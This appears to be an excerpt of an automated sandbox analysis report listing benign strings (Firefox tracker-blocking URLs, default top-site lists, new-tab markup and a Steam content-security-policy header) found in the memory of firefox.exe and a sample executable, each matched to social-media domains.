Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser.search.separatePrivateDefault.ui.enabled://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser.urlbar.dnsResolveFullyQualifiedNamesDevTools telemetry entry point failed: devtools-commandkey-profiler-capturebrowser and that URL. Falling back to devtools.debugger.features.javascript-tracingdevtools.performance.recording.ui-base-urldevtools/client/framework/devtools-browserFailed to listen. Listener already attached.Got invalid request to save JSON dataFailed to listen. Callback argument missing.No callback set for this channel.WebChannel/this._originCheckCallbackdevtools.performance.popup.feature-flagdevtools/client/framework/devtoolsresource://devtools/server/devtools-server.jsand deploy previews URLs are allowed.devtools.debugger.remote-websocketresource://devtools/shared/security/socket.jsUnable to start devtools server on @mozilla.org/network/protocol;1?name=defaultdevtools-commandkey-javascript-tracing-toggle@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1devtools-commandkey-profiler-start-stopbrowser.fixup.dns_first_for_single_wordsreleaseDistinctSystemPrincipalLoader^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$DevToolsStartup.jsm:handleDebuggerFlag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}JSON Viewer's onSave failed in startPersistence@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sbrowser.fixup.domainsuffixwhitelist.^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$){33d75835-722f-42c0-89cc-44f328e56a86}^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsCan't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<_injectDefaultProtocolHandlersIfNeededhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s^([a-z+.-]+:\/{0,3})*([^\/@]+@).+https://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type{c6cf88b7-452e-47eb-bdc9-86e3561648ef}gecko.handlerService.defaultHandlersVersionget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPScheme should be either http or httpshttps://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsisDownloadsImprovementsAlreadyMigratedget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/FileUtils.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%s_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1Must have a source and a callback@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/DeferredTask.sys.mjshttps://mail.yandex.ru/compose?mailto=%s@mozilla.org/ne
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: disabled_picture_in_picture_overrides.washingtonpost://id.rambler.ru/rambler-id-helper/auth_events.js://webcompat-addon-testbed.herokuapp.com/shims_test.js://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js://securepubads.g.doubleclick.net/gpt/pubads_impl_.js://www.googleadservices.com/pagead/conversion_async.js://securepubads.g.doubleclick.net/tag/js/gpt.js*http://mozilla.org/#/properties/filterFetchResponse equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.3150497786.000001EE2BBD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.3150497786.000001EE2BBD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/color-mix(in srgb, currentColor 14%, transparent)color-mix(in srgb, currentColor 25%, transparent)://id.rambler.ru/rambler-id-helper/auth_events.js://pagead2.googlesyndication.com/pagead/js/.js*fcd=truepruneAttachments/</allAttachments</request.onsuccess equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the 